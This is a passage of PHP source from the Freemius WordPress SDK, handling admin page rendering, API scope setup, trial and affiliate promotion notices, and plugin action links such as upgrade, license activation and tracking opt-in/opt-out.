( $is_bundle_context ) { $plugin_title = $this->plugin_affiliate_terms->plugin_title; // Add the suffix "Bundle" only if the word is not present in the title itself. if ( false === mb_stripos( $plugin_title, fs_text_inline( 'Bundle', 'bundle' ) ) ) { $plugin_title = $this->apply_filters( 'formatted_bundle_title', $plugin_title . ' ' . fs_text_inline( 'Bundle', 'bundle' ) ); } } $vars = array( 'id' => $this->_module_id, 'plugin_title' => $plugin_title, ); echo $this->apply_filters( "/forms/affiliation.php", fs_get_template( '/forms/affiliation.php', $vars ) ); } /** * Render account page. * * @author Vova Feldman (@svovaf) * @since 1.0.0 */ function _account_page_render() { $this->_logger->entrance(); $template = 'account.php'; $vars = array( 'id' => $this->_module_id ); /** * Added filter to the template to allow developers wrapping the template * in custom HTML (e.g. within a wizard/tabs). * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 */ echo $this->apply_filters( "templates/{$template}", fs_get_template( $template, $vars ) ); } /** * Render account connect page. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function _connect_page_render() { $this->_logger->entrance(); $vars = array( 'id' => $this->_module_id ); /** * Added filter to the template to allow developers wrapping the template * in custom HTML (e.g. within a wizard/tabs). * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 */ echo $this->apply_filters( 'templates/connect.php', fs_get_template( 'connect.php', $vars ) ); } /** * Load required resources before add-ons page render. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function _addons_page_load() { $this->_logger->entrance(); fs_enqueue_local_style( 'fs_addons', '/admin/add-ons.css' ); wp_enqueue_script( 'plugin-install' ); add_thickbox(); add_filter( 'admin_body_class', array( $this, 'fs_addons_body_class' ) ); if ( ! $this->is_registered() && $this->is_org_repo_compliant() ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Just letting you know that the add-ons information of %s is being pulled from an external server.', 'addons-info-external-message' ), '' . $this->get_plugin_name() . '' ), $this->get_text_x_inline( 'Heads up', 'advance notice of something that will need attention.', 'heads-up' ), 'update-nag' ); } } /** * Render add-ons page. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function _addons_page_render() { $this->_logger->entrance(); $vars = array( 'id' => $this->_module_id ); /** * Added filter to the template to allow developers wrapping the template * in custom HTML (e.g. within a wizard/tabs). * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 */ echo $this->apply_filters( 'templates/add-ons.php', fs_get_template( 'add-ons.php', $vars ) ); } /* Pricing & Upgrade ------------------------------------------------------------------------------------------------------------------*/ /** * Render pricing page. * * @author Vova Feldman (@svovaf) * @since 1.0.0 */ function _pricing_page_render() { $this->_logger->entrance(); $vars = array( 'id' => $this->_module_id ); if ( 'true' === fs_request_get( 'checkout', false ) ) { echo $this->apply_filters( 'templates/checkout.php', fs_get_template( 'checkout.php', $vars ) ); } else { echo $this->apply_filters( 'templates/pricing.php', fs_get_template( 'pricing.php', $vars ) ); } } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 */ function _maybe_add_pricing_ajax_handler() { if ( ! $this->should_use_external_pricing() ) { $this->add_ajax_action( 'pricing_ajax_action', array( &$this, '_fs_pricing_ajax_action_handler' ) ); } } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 */ function _fs_pricing_ajax_action_handler() { $this->check_ajax_referer( 'pricing_ajax_action' ); $result = null; $pricing_action = fs_request_get( 'pricing_action' ); switch ( $pricing_action ) { case 'fetch_pricing_data': $params = array( 'is_enriched' => true, 'trial' => fs_request_get_bool( 'trial' ), 'sandbox' => fs_request_get_raw( 'sandbox' ), 's_ctx_type' => fs_request_get_raw( 's_ctx_type' ), 's_ctx_id' => fs_request_get_raw( 's_ctx_id' ), 's_ctx_ts' => fs_request_get_raw( 's_ctx_ts' ), 's_ctx_secure' => fs_request_get_raw( 's_ctx_secure' ), ); $bundle_id = $this->get_bundle_id(); $bundle_public_key = $this->get_bundle_public_key(); $has_bundle_context = ( FS_Plugin::is_valid_id( $bundle_id ) && ! empty( $bundle_public_key ) ); if ( ! $has_bundle_context ) { $api = $this->get_api_plugin_scope(); } else { $api = FS_Api::instance( $bundle_id, 'plugin', $bundle_id, $bundle_public_key, ! $this->is_live(), false, $this->get_sdk_version() ); $params['plugin_id'] = $this->get_id(); $params['plugin_public_key'] = $this->get_public_key(); } $result = $api->get( 'pricing.json?' . http_build_query( $params ) ); break; case 'start_trial': $result = $this->opt_in( false, false, false, false, false, fs_request_get( 'plan_id' ) ); } if ( is_object( $result ) && $this->is_api_error( $result ) ) { $this->_logger->api_error( $result ); self::shoot_ajax_failure( isset( $result->error ) ? ( is_string( $result->error ) ? $result->error : $result->error->message ) : var_export( $result, true ) ); } $this->shoot_ajax_success( $result ); } #---------------------------------------------------------------------------------- #region Contact Us #---------------------------------------------------------------------------------- /** * Render contact-us page. * * @author Vova Feldman (@svovaf) * @since 1.0.3 */ function _contact_page_render() { $this->_logger->entrance(); $vars = array( 'id' => $this->_module_id ); /** * Added filter to the template to allow developers wrapping the template * in custom HTML (e.g. within a wizard/tabs). * * @author Vova Feldman (@svovaf) * @since 2.1.3 */ echo $this->apply_filters( 'templates/contact.php', fs_get_template( 'contact.php', $vars ) ); } #endregion ------------------------------------------------------------------------ /** * Hide all admin notices to prevent distractions. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @uses remove_all_actions() */ private static function _hide_admin_notices() { remove_all_actions( 'admin_notices' ); remove_all_actions( 'network_admin_notices' ); remove_all_actions( 'all_admin_notices' ); remove_all_actions( 'user_admin_notices' ); } static function _clean_admin_content_section_hook() { $hide_admin_notices = true; if ( fs_request_is_action( 'allow_clone_resolution_notice' ) ) { check_admin_referer( 'fs_allow_clone_resolution_notice' ); $hide_admin_notices = false; } if ( $hide_admin_notices ) { self::_hide_admin_notices(); } // Hide footer. echo ''; } /** * Attach to admin_head hook to hide all admin notices. * * @author Vova Feldman (@svovaf) * @since 1.0.3 */ static function _clean_admin_content_section() { add_action( 'admin_head', 'Freemius::_clean_admin_content_section_hook' ); } /* CSS & JavaScript ------------------------------------------------------------------------------------------------------------------*/ /* function _enqueue_script($handle, $src) { $url = plugins_url( substr( WP_FS__DIR_JS, strlen( $this->_plugin_dir_path ) ) . '/assets/js/' . $src ); $this->_logger->entrance( 'script = ' . $url ); wp_enqueue_script( $handle, $url ); }*/ /* SDK ------------------------------------------------------------------------------------------------------------------*/ private $_user_api; /** * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @param bool $flush * * @return FS_Api */ function get_api_user_scope( $flush = false ) { if ( ! isset( $this->_user_api ) || $flush ) { $this->_user_api = $this->get_api_user_scope_by_user( $this->_user ); } return $this->_user_api; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * * @return \FS_Api */ private function get_api_user_scope_by_user( FS_User $user ) { return FS_Api::instance( $this->_module_id, 'user', $user->id, $user->public_key, ! $this->is_live(), $user->secret_key, $this->get_sdk_version() ); } /** * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param bool $flush * * @return FS_Api */ private function get_current_or_network_user_api_scope( $flush = false ) { if ( ! $this->_is_network_active || ( isset( $this->_user ) && $this->_user instanceof FS_User ) ) { return $this->get_api_user_scope( $flush ); } $user = $this->get_current_or_network_user(); $this->_user_api = FS_Api::instance( $this->_module_id, 'user', $user->id, $user->public_key, ! $this->is_live(), $user->secret_key, $this->get_sdk_version() ); return $this->_user_api; } private $_site_api; /** * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @param bool $flush * * @return FS_Api */ private function get_api_site_scope( $flush = false ) { if ( ! isset( $this->_site_api ) || $flush ) { $this->_site_api = FS_Api::instance( $this->_module_id, 'install', $this->_site->id, $this->_site->public_key, ! $this->is_live(), $this->_site->secret_key, $this->get_sdk_version(), self::get_unfiltered_site_url() ); } return $this->_site_api; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $path * @param string $method * @param array $params * @param bool $flush_instance * * @return array|mixed|string|void * @throws Freemius_Exception */ private function api_site_call( $path, $method = 'GET', $params = array(), $flush_instance = false ) { $result = $this->get_api_site_scope( $flush_instance )->call( $path, $method, $params ); /** * Checks if the local install's URL is different from the remote install's URL, update the local install if necessary, and then run the clone handler if the install's URL is different from the URL of the site. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ if ( $this->is_registered() && FS_Api::is_api_result_entity( $result ) && isset( $result->url ) ) { $stored_local_url = trailingslashit( $this->_site->url ); $stored_remote_url = trailingslashit( $result->url ); if ( $stored_local_url !== $stored_remote_url ) { $this->_site->url = $result->url; $this->_store_site(); } if ( fs_strip_url_protocol( $stored_remote_url ) !== self::get_unfiltered_site_url( null, true, true ) ) { FS_Clone_Manager::instance()->maybe_run_clone_resolution(); } } return $result; } private $_plugin_api; /** * Get plugin public API scope. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return FS_Api */ function get_api_plugin_scope() { if ( ! isset( $this->_plugin_api ) ) { $this->_plugin_api = FS_Api::instance( $this->_module_id, 'plugin', $this->_plugin->id, $this->_plugin->public_key, ! $this->is_live(), false, $this->get_sdk_version() ); } return $this->_plugin_api; } /** * Get bundle public API scope. * * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return FS_Api */ function get_api_bundle_scope() { return FS_Api::instance( $this->get_bundle_id(), 'plugin', $this->get_bundle_id(), $this->get_bundle_public_key(), ! $this->is_live(), false, $this->get_sdk_version() ); } /** * Get site API scope object (fallback to public plugin scope when not registered). * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return FS_Api */ function get_api_site_or_plugin_scope() { return $this->is_registered() ? $this->get_api_site_scope() : $this->get_api_plugin_scope(); } /** * @author Leo Fajardo (@leorw) * @since 2.2.3.1 * * @param object $result */ private function maybe_modify_api_curl_error_message( $result ) { if ( 'cUrlMissing' !== $result->error->type && ( 'CurlException' !== $result->error->type || CURLE_COULDNT_CONNECT != $result->error->code ) && ( 'HttpRequestFailed' !== $result->error->type || false === strpos( $result->error->message, 'cURL error ' . CURLE_COULDNT_CONNECT ) ) ) { return; } $result->error->message = $this->esc_html_inline( 'We use PHP cURL library for the API calls, which is a very common library and usually installed and activated out of the box. Unfortunately, cURL is not activated (or disabled) on your server.', 'curl-missing-message' ) . ' ' . $this->esc_html_inline( sprintf( 'Please contact your hosting provider and ask them to whitelist %s for external connection.', implode( ', ', $this->apply_filters( 'api_domains', array( 'api.freemius.com', 'wp.freemius.com' ) ) ) ), 'connectivity-whitelist' ) . ' ' . sprintf( $this->esc_html_inline( 'Once you are done, deactivate the %s and activate it again.', 'connectivity-reactivate-module' ), $this->get_module_type() ); } /** * Show trial promotional notice (if any trial exist). * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param FS_Plugin_Plan[] $plans */ function _check_for_trial_plans( $plans ) { /** * For some reason core's do_action() flattens arrays when it has a single object item. Therefore, we need to restructure the array as expected. * * @author Vova Feldman (@svovaf) * @since 2.1.2 */ if ( ! is_array( $plans ) && is_object( $plans ) ) { $plans = array( $plans ); } if ( ! $this->is_array_instanceof( $plans, 'FS_Plugin_Plan' ) ) { $plans = array(); } $this->_storage->has_trial_plan = FS_Plan_Manager::instance()->has_trial_plan( $plans ); } /** * During trial promotion the "upgrade" submenu item turns to * "start trial" to encourage the trial. Since we want to keep * the same menu item handler and there's no robust way to * add new arguments to the menu item link's querystring, * use JavaScript to find the menu item and update the href of * the link. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 */ function _fix_start_trial_menu_item_url() { $template_args = array( 'id' => $this->_module_id ); fs_require_template( 'add-trial-to-pricing.php', $template_args ); } /** * Check if module is currently in a trial promotion mode. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ function is_in_trial_promotion() { return $this->_admin_notices->has_sticky( 'trial_promotion' ); } /** * Show trial promotional notice (if any trial exist). * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool If trial notice added. */ function _add_trial_notice() { if ( ! $this->is_user_admin() ) { return false; } if ( ! $this->is_user_in_admin() ) { return false; } if ( $this->_is_network_active ) { if ( fs_is_network_admin() ) { // Network level trial is disabled at the moment. return false; } if ( ! $this->is_delegated_connection() ) { // Only delegated sites should support trials. return false; } } // Check if trial message is already shown. if ( $this->is_in_trial_promotion() ) { add_action( 'admin_footer', array( &$this, '_fix_start_trial_menu_item_url' ) ); $this->_menu->add_counter_to_menu_item( 1, 'fs-trial' ); return false; } if ( $this->is_premium() && ! WP_FS__DEV_MODE ) { // Don't show trial if running the premium code, unless running in DEV mode. return false; } if ( ! $this->has_trial_plan() ) { // No plans with trial. return false; } if ( ! $this->apply_filters( 'show_trial', true ) ) { // Developer explicitly asked not to show the trial promo. return false; } if ( $this->is_registered() ) { // Check if trial already utilized. if ( $this->_site->is_trial_utilized() ) { return false; } if ( $this->is_paying_or_trial() ) { // Don't show trial if paying or already in trial. return false; } } if ( $this->is_activation_mode() || $this->is_pending_activation() ) { // If not yet opted-in/skipped, or pending activation, don't show trial. return false; } $last_time_trial_promotion_shown = $this->_storage->get( 'trial_promotion_shown', false ); $was_promotion_shown_before = ( false !== $last_time_trial_promotion_shown ); // Show promotion if never shown before and 24 hours after initial activation with FS. if ( ! $was_promotion_shown_before && $this->_storage->install_timestamp > ( time() - $this->apply_filters( 'show_first_trial_after_n_sec', WP_FS__TIME_24_HOURS_IN_SEC ) ) ) { return false; } // OR if promotion was shown before, try showing it every 30 days. if ( $was_promotion_shown_before && $this->apply_filters( 'reshow_trial_after_every_n_sec', 30 * WP_FS__TIME_24_HOURS_IN_SEC ) > time() - $last_time_trial_promotion_shown ) { return false; } $trial_period = $this->_trial_days; $require_payment = $this->_is_trial_require_payment; $trial_url = $this->get_trial_url(); $plans_string = strtolower( $this->get_text_inline( 'Awesome', 'awesome' ) ); if ( $this->is_registered() ) { // If opted-in, override trial with up to date data from API. $trial_plans = FS_Plan_Manager::instance()->get_trial_plans( $this->_plans ); $trial_plans_count = count( $trial_plans ); if ( 0 === $trial_plans_count ) { // If there's no plans with a trial just exit. return false; } /** * @var FS_Plugin_Plan $paid_plan */ $paid_plan = $trial_plans[0]; $require_payment = $paid_plan->is_require_subscription; $trial_period = $paid_plan->trial_period; $total_paid_plans = count( $this->_plans ) - ( FS_Plan_Manager::instance()->has_free_plan( $this->_plans ) ? 1 : 0 ); if ( $total_paid_plans !== $trial_plans_count ) { // Not all paid plans have a trial - generate a string of those that have it. for ( $i = 0; $i < $trial_plans_count; $i ++ ) { $plans_string .= sprintf( ' %s', $trial_url, $trial_plans[ $i ]->title ); if ( $i < $trial_plans_count - 2 ) { $plans_string .= ', '; } else if ( $i == $trial_plans_count - 2 ) { $plans_string .= ' and '; } } } } $message = sprintf( $this->get_text_x_inline( 'Hey', 'exclamation', 'hey' ) . '! ' . $this->get_text_inline( 'How do you like %s so far? Test all our %s premium features with a %d-day free trial.', 'trial-x-promotion-message' ), sprintf( '%s', $this->get_plugin_name() ), $plans_string, $trial_period ); // "No Credit-Card Required" or "No Commitment for N Days". $cc_string = $require_payment ? sprintf( $this->get_text_inline( 'No commitment for %s days - cancel anytime!', 'no-commitment-for-x-days' ), $trial_period ) : $this->get_text_inline( 'No credit card required', 'no-cc-required' ) . '!'; // Start trial button. $button = ' ' . sprintf( '', $trial_url, $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' ) ); $this->_admin_notices->add_sticky( $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ), 'trial_promotion', '', 'promotion' ); $this->_storage->trial_promotion_shown = WP_FS__SCRIPT_START_TIME; return true; } /** * Lets users/customers know that the product has an affiliate program. * * @author Leo Fajardo (@leorw) * @since 1.2.2.11 * * @return bool Returns true if the notice has been added. */ function _add_affiliate_program_notice() { if ( ! $this->is_user_admin() ) { return false; } if ( ! $this->is_user_in_admin() ) { return false; } // Check if the notice is already shown. if ( $this->_admin_notices->has_sticky( 'affiliate_program' ) ) { return false; } if ( // Product has no affiliate program. ! $this->has_affiliate_program() || // User has applied for an affiliate account. ! empty( $this->_storage->affiliate_application_data ) ) { return false; } if ( ! $this->apply_filters( 'show_affiliate_program_notice', true ) ) { // Developer explicitly asked not to show the notice about the affiliate program. return false; } if ( $this->is_activation_mode() || $this->is_pending_activation() ) { // If not yet opted in/skipped, or pending activation, don't show the notice. return false; } $last_time_notice_was_shown = $this->_storage->get( 'affiliate_program_notice_shown', false ); $was_notice_shown_before = ( false !== $last_time_notice_was_shown ); /** * Do not show the notice if it was already shown before or less than 30 days have passed since the initial * activation with FS. */ if ( $was_notice_shown_before || $this->_storage->install_timestamp > ( time() - ( WP_FS__TIME_24_HOURS_IN_SEC * 30 ) ) ) { return false; } if ( ! $this->is_paying() && FS_Plugin::AFFILIATE_MODERATION_CUSTOMERS == $this->_plugin->affiliate_moderation ) { // If the user is not a customer and the affiliate program is only for customers, don't show the notice. return false; } $message = sprintf( $this->get_text_inline( 'Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!', 'become-an-ambassador-admin-notice' ), sprintf( '%s', $this->get_plugin_name() ), $this->get_module_label( true ) ); // HTML code for the "Learn more..." button. $button = ' ' . sprintf( '', $this->_get_admin_page_url( 'affiliation' ), $this->get_text_inline( 'Learn more', 'learn-more' ) . '...' ); $this->_admin_notices->add_sticky( $this->apply_filters( 'affiliate_program_notice', "{$message} {$button}" ), 'affiliate_program', '', 'promotion' ); $this->_storage->affiliate_program_notice_shown = WP_FS__SCRIPT_START_TIME; return true; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 */ function _enqueue_common_css() { if ( $this->has_paid_plan() && ! $this->is_paying() ) { // Add basic CSS for admin-notices and menu-item colors. fs_enqueue_local_style( 'fs_common', '/admin/common.css' ); } } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 */ function _show_theme_activation_optin_dialog() { fs_enqueue_local_style( 'fs_connect', '/admin/connect.css' ); add_action( 'admin_footer', array( &$this, '_add_fs_theme_activation_dialog' ) ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 */ function _add_fs_theme_activation_dialog() { global $pagenow; if ( 'themes.php' !== $pagenow ) { return; } $vars = array( 'id' => $this->_module_id ); fs_require_once_template( 'connect.php', $vars ); } /* Action Links ------------------------------------------------------------------------------------------------------------------*/ private $_action_links_hooked = false; private $_action_links = array(); /** * Hook to plugin action links filter. * * @author Vova Feldman (@svovaf) * @since 1.0.0 */ private function hook_plugin_action_links() { $this->_logger->entrance(); $this->_action_links_hooked = true; $this->_logger->log( 'Adding action links hooks.' ); // Add action link to settings page. add_filter( 'plugin_action_links_' . $this->_plugin_basename, array( &$this, '_modify_plugin_action_links_hook' ), WP_FS__DEFAULT_PRIORITY, 2 ); add_filter( 'network_admin_plugin_action_links_' . $this->_plugin_basename, array( &$this, '_modify_plugin_action_links_hook' ), WP_FS__DEFAULT_PRIORITY, 2 ); } /** * Add plugin action link. * * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @param $label * @param $url * @param bool $external * @param int $priority * @param bool $key */ function add_plugin_action_link( $label, $url, $external = false, $priority = WP_FS__DEFAULT_PRIORITY, $key = false ) { $this->_logger->entrance(); if ( ! isset( $this->_action_links[ $priority ] ) ) { $this->_action_links[ $priority ] = array(); } if ( false === $key ) { $key = preg_replace( "/[^A-Za-z0-9 ]/", '', strtolower( $label ) ); } $this->_action_links[ $priority ][] = array( 'label' => $label, 'href' => $url, 'key' => $key, 'external' => $external ); } /** * Adds Upgrade and Add-Ons links to the main Plugins page link actions collection. * * @author Vova Feldman (@svovaf) * @since 1.0.0 */ function _add_upgrade_action_link() { $this->_logger->entrance(); $is_activation_mode = $this->is_activation_mode(); $add_action_links = $this->should_add_submenu_or_action_links( $is_activation_mode ); /** * The following logic is based on the logic in `add_submenu_items()` method that decides when the "Upgrade" * and "Add-Ons" menus should be added. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $add_upgrade_link = ( $add_action_links || ( $is_activation_mode && $this->is_only_premium() ) ) && ! WP_FS__DEMO_MODE && ( ! $this->is_whitelabeled() ); $add_addons_link = ( $add_action_links && $this->has_addons() ); if ( ! $add_upgrade_link && ! $add_addons_link ) { return; } if ( $add_upgrade_link && $this->is_pricing_page_visible() && $this->is_submenu_item_visible( 'pricing' ) ) { $this->add_plugin_action_link( $this->get_text_inline( 'Upgrade', 'upgrade' ), $this->get_upgrade_url(), false, 7, 'upgrade' ); } if ( $add_addons_link && $this->has_addons() && $this->is_submenu_item_visible( 'addons' ) ) { $this->add_plugin_action_link( $this->get_text_inline( 'Add-Ons', 'add-ons' ), $this->_get_admin_page_url( 'addons' ), false, 9, 'addons' ); } } /** * Adds "Activate License" or "Change License" link to the main Plugins page link actions collection. * * @author Leo Fajardo (@leorw) * @since 1.1.9 */ function _add_license_action_link() { $this->_logger->entrance(); if ( ! self::is_ajax() ) { // Inject license activation dialog UI and client side code. add_action( 'admin_footer', array( &$this, '_add_license_activation_dialog_box' ) ); } $link_text = $this->is_free_plan() ? $this->get_text_inline( 'Activate License', 'activate-license' ) : $this->get_text_inline( 'Change License', 'change-license' ); $this->add_plugin_action_link( $link_text, '#', false, 11, ( 'activate-license ' . $this->get_unique_affix() ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 */ function _add_premium_version_upgrade_selection_action() { $this->_logger->entrance(); if ( ! self::is_ajax() ) { add_action( 'admin_footer', array( &$this, '_add_premium_version_upgrade_selection_dialog_box' ) ); } } /** * Adds "Opt In" or "Opt Out" link to the main "Plugins" page link actions collection. * * @author Leo Fajardo (@leorw) * @since 1.2.1.5 */ function _add_tracking_links() { if ( ! current_user_can( 'manage_options' ) ) { return; } $this->_logger->entrance(); if ( $this->is_only_premium() && $this->is_free_plan() ) { // Don't add tracking links for premium-only products that were opted-in by relation (add-on or a parent product) before activating any license. return; } if ( $this->is_addon() && ! $this->is_only_premium() ) { $parent = $this->get_parent_instance(); if ( is_object( $parent ) && $parent->is_anonymous() ) { return; } } if ( fs_is_network_admin() ) { if ( ! $this->_is_network_active ) { // Don't add tracking links when browsing the network WP Admin and the plugin is not network active. return; } else if ( $this->is_network_delegated_connection() ) { // Don't add tracking links when browsing the network WP Admin and the activation has been delegated to site admins. return; } } else { if ( $this->_is_network_active && ! $this->is_delegated_connection() ) { // Don't add tracking links when browsing the sub-site WP Admin, the plugin is network active, and the connection was not delegated. return; } } if ( fs_request_is_action_secure( $this->get_unique_affix() . '_reconnect' ) ) { if ( ! $this->is_registered() && $this->is_anonymous() ) { $this->connect_again(); return; } } if ( ( $this->is_plugin() && ! self::is_plugins_page() ) || ( $this->is_theme() && ! self::is_themes_page() ) ) { // Only show tracking links on the plugins and themes pages. return; } if ( $this->is_activation_mode() && $this->is_premium() && ! $this->is_registered() ) { // If not yet registered and running the premium code base, a license activation link will already be shown. return; } if ( $this->is_registered() && $this->is_tracking_allowed() ) { if ( ! $this->is_premium() && ! $this->is_enable_anonymous() ) { // If opted in and tracking is allowed, don't allow to opt out if not premium and anonymous mode is disabled. return; } } if ( $this->add_ajax_action( 'toggle_permission_tracking', array( &$this, '_toggle_permission_tracking_callback' ) ) ) { return; } $link_text_id = ''; $url = '#'; if ( $this->is_registered( true ) ) { if ( $this->is_registered() && $this->is_tracking_allowed() ) { $link_text_id = $this->get_text_inline( 'Opt Out', 'opt-out' ); } else { $link_text_id = $this->get_text_inline( 'Opt In', 'opt-in' ); } } else if ( $this->is_anonymous() || $this->is_activation_mode() ) { /** * Show opt-in link only if skipped or in activation mode. */ $link_text_id = $this->get_text_inline( 'Opt In', 'opt-in' ); $params = ! $this->is_anonymous() ? array() : array( 'nonce' => wp_create_nonce( $this->get_unique_affix() . '_reconnect' ), 'fs_action' => ( $this->get_unique_affix() . '_reconnect' ), ); $url = $this->get_activation_url( $params ); } add_action( 'admin_footer', array( &$this, '_add_optout_dialog' ) ); if ( ! empty( $link_text_id ) && $this->is_plugin() && self::is_plugins_page() ) { $this->add_plugin_action_link( $link_text_id, $url, false, 13, "opt-in-or-opt-out {$this->_slug}" ); } } /** * Get the URL of the page that should be loaded right after the plugin activation. * * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @return string */ function get_after_plugin_activation_redirect_url() { $url = false; if ( ! $this->is_addon() || ! $this->has_free_plan() ) { $first_time_path = $this->_menu->get_first_time_path( fs_is_network_admin() && $this->_is_network_active ); if ( $this->is_activation_mode() ) { $url = $this->get_activation_url(); } else if ( ! empty( $first_time_path ) ) { $url = $first_time_path; } else { $page = ''; if ( ! empty( $this->_dynamically_added_top_level_page_hook_name ) ) { if ( $this->is_network_registered() ) { $page = 'account'; } else if ( $this->is_pending_activation() || $this->is_network_anonymous() ) { $this->maybe_set_slug_and_network_menu_exists_flag(); } } $url = $this->_get_admin_page_url( $page ); } } else { $plugin_fs = false; if ( $this->is_parent_plugin_installed() ) { $plugin_fs = self::get_parent_instance(); } if ( is_object( $plugin_fs ) ) { if ( ! $plugin_fs->is_registered() ) { // Forward to parent plugin connect when parent not registered. $url = $plugin_fs->get_activation_url(); } else { // Forward to account page. $url = $plugin_fs->_get_admin_page_url( 'account' ); } } } return $url; } /** * Forward page to activation page. * * @author Vova Feldman (@svovaf) * @since 1.0.3 */ function _redirect_on_activation_hook() { if ( $this->apply_filters( 'redirect_on_activation', true ) ) { $url = $this->get_after_plugin_activation_redirect_url(); if ( is_string( $url ) ) { fs_redirect( $url ); } } } /** * Modify plugin's page action links collection. * * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @param array $links * @param $file * * @return array */ function _modify_plugin_action_links_hook( $links, $file ) { $this->_logger->entrance(); $passed_deactivate = false; $deactivate_link = ''; $before_deactivate = array(); $after_deactivate = array(); foreach ( $links as $key => $link ) { if ( 'deactivate' === $key ) { $deactivate_link = $link; $passed_deactivate = true; continue; } if ( ! $passed_deactivate ) { $before_deactivate[ $key ] = $link; } else { $after_deactivate[ $key ] = $link; } } ksort( $this->_action_links ); foreach ( $this->_action_links as $new_links ) { foreach ( $new_links as $link ) { $before_deactivate[ $link['key'] ] = '' . $link['label'] . ''; } } if ( ! empty( $deactivate_link ) ) { /** * This HTML element is used to identify the correct plugin when attaching an event to its Deactivate link. * * @since 1.2.1.6 Always show the deactivation feedback form since we added automatic free version deactivation upon premium code activation. */ $deactivate_link .= ''; // Append deactivation link. $before_deactivate['deactivate'] = $deactivate_link; } return array_merge( $before_deactivate, $after_deactivate ); } /** * Adds admin message. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $message * @param string $title * @param string $type */ function add_admin_message( $message, $title = '', $type = 'success' ) { $this->_admin_notices->add( $message, $title, $type ); } /** * Adds sticky admin message. * * @author Vova Feldman (@svovaf) * @since 1.1.0 * * @param string $message * @param string $id * @param string $title * @param string $type */ function add_sticky_admin_message( $message, $id, $title = '', $type = 'success' ) { $this->_admin_notices->add_sticky( $message, $id, $title, $type ); } /** * Check if the paid version of the module is installed. * * @author Vova Feldman (@svovaf) * @since 2.2.0 * * @return bool */ private function is_premium_version_installed() { $premium_plugin_basename = $this->premium_plugin_basename(); if ( $this->is_theme() ) { return $this->can_activate_theme( $this->get_premium_slug() ); } return file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $premium_plugin_basename ) ); } /** * Helper function that returns the final steps for the upgrade completion. * * If the module is already running the premium code, returns an empty string. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param string $plan_title * * @return string */ private function get_complete_upgrade_instructions( $plan_title = '' ) { $this->_logger->entrance(); $activate_license_string = $this->get_license_network_activation_notice(); if ( ! $this->has_premium_version() || $this->is_premium() ) { return '' . $activate_license_string; } if ( empty( $plan_title ) ) { $plan_title = $this->get_plan_title(); } if ( $this->is_premium_version_installed() ) { /** * If the premium version is already installed, instead of showing the installation instructions, * tell the current user to activate it. * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ $premium_theme_slug_or_plugin_basename = $this->is_theme() ? $this->get_premium_slug() : $this->premium_plugin_basename(); return sprintf( /* translators: %1$s: Product title; %2$s: Plan title */ $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s', 'activate-premium-version' ), sprintf( '%s', esc_html( $this->get_plugin_title() ) ), $plan_title, sprintf( '', ( $this->is_theme() ? wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) : wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ), esc_html( sprintf( /* translators: %s: Plan title */ $this->get_text_inline( 'Activate %s features', 'activate-x-features' ), $plan_title ) ) ) ); } else { // @since 1.2.1.5 The free version is auto deactivated. $deactivation_step = version_compare( $this->version, '1.2.1.5', '<' ) ? ( '
                • ' . $this->esc_html_inline( 'Deactivate the free version', 'deactivate-free-version' ) . '.
                • ' ) : ''; return sprintf( ' %s:
                  1. %s.
                  2. %s
                  3. %s (%s).
                  ', $this->get_text_inline( 'Please follow these steps to complete the upgrade', 'follow-steps-to-complete-upgrade' ), ( empty( $activate_license_string ) ? '' : $activate_license_string . '
